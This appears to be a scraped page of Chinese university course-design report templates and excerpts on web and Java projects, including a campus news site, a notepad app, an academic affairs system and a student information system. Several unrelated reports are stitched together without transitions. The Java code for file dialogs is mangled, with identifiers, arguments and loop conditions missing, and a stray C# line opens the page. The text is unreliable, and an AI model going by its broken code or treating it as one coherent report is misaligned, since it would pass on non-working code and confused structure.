userpwd.Text = "";//userPWD为textbox2

《web系统设计》课程设计文档格式模板

Web系统设计课程设计报告 (样本) 题目: 学生姓名: 学号:班级: 院系:计算机科学与信息学院 专业年级:计算机科学与技术2008 级 年月日

一、需求分析 需包含内容为: (1)问题描述:设计系统的简单描述; (2)系统功能描述,可画出所设计模块的操作流程,并分析所需要存储的数据信息。 (3)有何安全性与完整性方面的要求(参照所给出的语义规则),对不同的用户有何不同的系统使用权限等。 (1)概要 随着INTERNET的迅速发展,社会已经进入了网络时代。网站已经成为INTERNET网上进行信息传播的主要载体,INTERNET正在使这个世界变得越来越“小”,也使我们的竞争更加激烈。 新闻之家是典型的新闻信息管理系统,其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。 (2)系统功能描述 新闻之家主要是用来发布校内的一些新闻事件和发布一些公告,它主要包含以下几个功能: 1、新闻的发布和管理 2、公告的发布和管理 3、新闻搜索 4、网页评论 5、视频浏览 (3)安全性和完整性约束 新闻之家主要是用来发布新闻和浏览新闻,所以有两类用户:管理员和普通用户,普通用户只拥有浏览网页和评论权限,而管理员可以对网站的所有内容进行管理,比如说添加新闻、修改新闻、添加公告、修改公告、删除新闻、删除公告等的权限。在安全性方面,登陆时采用了验证码,该验证码是动态生成的,以防止别人暴力破解。 二、概念结构设计 画出系统整体的E-R模型;并对模型中所出现的实体及属性等信息加以说明。 三、逻辑结构设计 (1)模式设计:按系统整体E-R模型,写出关系模式;并利用数据字典加以描述。(如每个关系模式有何属性、属性的类型、属性值的长度、是否可取空值、是否为主码、有何约束条件等信息); 例如: 属性名存储代码类型长度备注 教师编号Tno String 20 教师编号 教师姓名Tname String 10 教师姓名

web前端实习报告三篇

web前端实习报告三篇 篇一 一、实训项目 简易记事本 二、实训目的和要求 本次实训是对前面学过的所有面向对象的编程思想以及JAVAWEB编程方法的一个总结、回顾和实践,因此,开始设计前学生一定要先回顾以前所学的内容,明确本次作业设计所要用到的技术点并到网上搜索以及查阅相关的书籍来搜集资料。通过编写采用JSP+Servlet+JavaBean技术框架的应用系统综合实例,以掌握JavaWEB开发技术。 具体要求有以下几点: 1.问题的描述与程序将要实现的具体功能。 2.程序功能实现的具体设计思路或框架,并检查流程设计。 3.代码实现。 4.设计小结。 三、实训项目的开发环境和所使用的技术 基于J2SE基础,利用以上版本的集成开发环境完成实训项目,界面友好,代码的可维护性好,有必要的注释和相应的文档。 四、实训地点、日程、分组情况: 实训地点:4栋303机房日程:

阶段:1.班级分组,选定课题,查阅相关资料半天2. 划分模块、小组成员分工半天3.利用CASE工具进行系统设计和分析,并编制源程序5天 第二阶段:上机调试,修改、调试、完善系统2天 第三阶段:撰写、上交课程设计报告,上交课程设计作品源程序(每人1份)2天 五、程序分析 功能模块说明弹出菜单 for(intf=0;f 创建保存文件对话框 publicvoidsaveFile { 创建打开文件对话框 privatevoidopenFile { JFileChooserfilechoose=newJFileChooser ;intresult=( null);if(result==_OPTION)} {try{ Filefile= ;FileReaderfr=newFileReader(file);intlen= (int) ;char[]context=newchar[len];(context,0,len); ; (newString(context));

Web教务管理系统课程设计报告书

设计名称: 课程名称: 学生姓名: 专业: 班别: 学号: 指导老师: 日期:年月日

目录 1.开发背景 (1) 2.系统分析 (2) 2.1 需求分析 (2) 2.1.1功能需求 (2) 2.1.2基于ASP.NET的教务管理系统的设计与实现 (2) 2.1.3基于ASP.NET的教务管理系统的设计与实现 (3) 2.2 可行性分析 (3) 2.2.1需求可行性分析 (3) 3.系统设计 (4) 3.1系统目标 (4) 3.2 系统功能结构 (4) 3.2.2教师功能块 (5) 3.2.3管理员功能模块 (6) 3.3 开发环境 (6) 3.4 详细设计 (6) 3.4.1设计数据表 (6) 3.4.2 功能E-R图 (9) 3.4.3设计步骤 (10) 3.4.4关键代码 (11) 3.4.5运行结果 (13) 4.总结 (16)

1.开发背景 近年来随着教育普及,高校教育体制改革,各高校扩大招生规模,使得在校学生人数有了突飞猛进的发展,办学规模逐步增大,专业设置日趋多样化,招生人数逐年增加,教学计划不断更新,这使得高校教务管理的工作量大幅度增加。并且,随着教育改革的深化,教学管理模式也在发生变化,如学分制的逐步实行、学生可以自主选课等。这就对原有的教学管理模式提出了更高的要求。另一方面,随着计算机网络技术的发展,校园网引进各个高校,为无纸化办公提供了有利条件。在这样的形势下,开发一个集成化的教务管理系统不仅势在必行,而且成为一个紧迫的任务。 由于国内各高校的教务管理模式不尽相同,不同学校的实际教务管理情况各有自己的特点,因而个高校需要针对自己的教务管理模式和特点建立自己的教务管理系统。教务管理包括对教学资源——如新生注册和学籍的管理、各学期学生成绩的管理、教学培养方案的执行、教学计划的安排、学生考试的管理、教室评教以及工作量的计算等大量信息。如何高效率的进行管理,并且有序的存放和处理这些巨大的信息,并使之成为教学管理分析和决策的手段,为教学活动产生更好的促进作用,是教务管理信息系统主要功能。 教务管理系统是以管理信息系统为理论依据的。管理信息系统的发展伴随着软件工程的发展而日趋成熟。不断增长的复杂性、多样性和相互关联性是当今管理信息系统的共同特征。而开发一个管理信息系统往往要结合软件工程的理念,使用系统化的方法进行管理信息系统的开发,从而更能有效地控制程序复杂性,减少系统的不合理,减轻维护成本。 在总结原有的管理信息系统优缺点的基础上,结合怀化学院教务工作的实际情况,以校园网为依托,规划设计了怀化学院教务信息管理系统的组成结构,利用目前流行的开发工具和技术,开发基于C/S模式的网站教务管理系统,设计了教务管理系统的各个功能模块、数据库和系统安全等,力求使该系统功能完善、高效适用、安全可靠,更好地为高校教务、教学管理工作服务。

湖南工程学院 Web java课程设计

课程设计报告 课程名称《JAVAWEB程序设计》 课题名称学生信息管理系统 专业计算机科学与技术 班级 学号 学号 指导教师李远辉陈多 年月日

湖南工程学院 课程设计任务书 课程名称《JAVAWEB程序设计》课题学生信息管理系统 专业班级 学生姓名 学号 指导老师李远辉陈多 审批李远辉陈多 任务书下达日期 任务完成日期

目录 一.设计说明 (1) 1.功能结构 (1) 2. 数据库设计................. 错误!未定义书签。二.功能实现 (2) 1.系统主界面 (2) 2. 添加学生信息 (2) 3. 查看学生信息 (2) 4. 修改学生信息 (2) 三.心得体会 (3) 四.附录 (4) 1. 源代码 (4) 1)Index.jsp (4) 2)addStudent.jsp (7) 3)updateStudent.jsp (8) 4)viewStudent.jsp (10) 5)Student.java (11) 6)StudentManager.java (13) 7)StudentServlet.java (16) 8)Web.xml (18) 五.评分表 (20)

一.设计说明 1.功能结构 图1-1 2.数据库设计 图1-2

二.功能实现 1.系统主界面 图2-1 2.添加学生信息 图2-2 3.查看学生信息 图2-3 4.修改学生信息 图2-4

三.心得体会 经过一个星期的课程设计,收获颇多。也明白了自己在java语言上自己存在的一些问题,也解决了一些一直困恼我的问题。以前自己觉得程序很简单,不放在心上。经过课程设计才使我明白做程序需要的东西是很多的,你既要懂程序而且还要有耐心和恒心。课程设计是对我的一次全面的测试,它既锻炼了我的动手的能力也磨练了我的心理素质。 设计这个系统,我们复习巩固java语言的基础知识,进一步加深对java 语言编程的理解和掌握。了解深入java语言编程的方法和环境。利用所学知识,把理论和实际结合,利用资源,采用模块化的结构,学会使用模仿、修改、自主设计相结合的方法。通过设计学生成绩管理系统,掌握结构化的程序设计思想,实现系统的正常运行,并且提高学生综合分析问题的素质和解决实际问题的编程能力。培养学生在项目开发中的求知精神、团队合作精神、创新意识以及实战能力。 作为java语言课程结课设计,验证自身的学习效果,同时希望利用所学的基本知识和技能,进行简单数据库应用程序设计。在这一个星期的课程设计中,也让我看到了一些java方面薄弱的地方,在接下来的时间里我要好好的巩固这些方面的知识,争取学好这一门课程,熟练掌握java。

相关文档 最新文档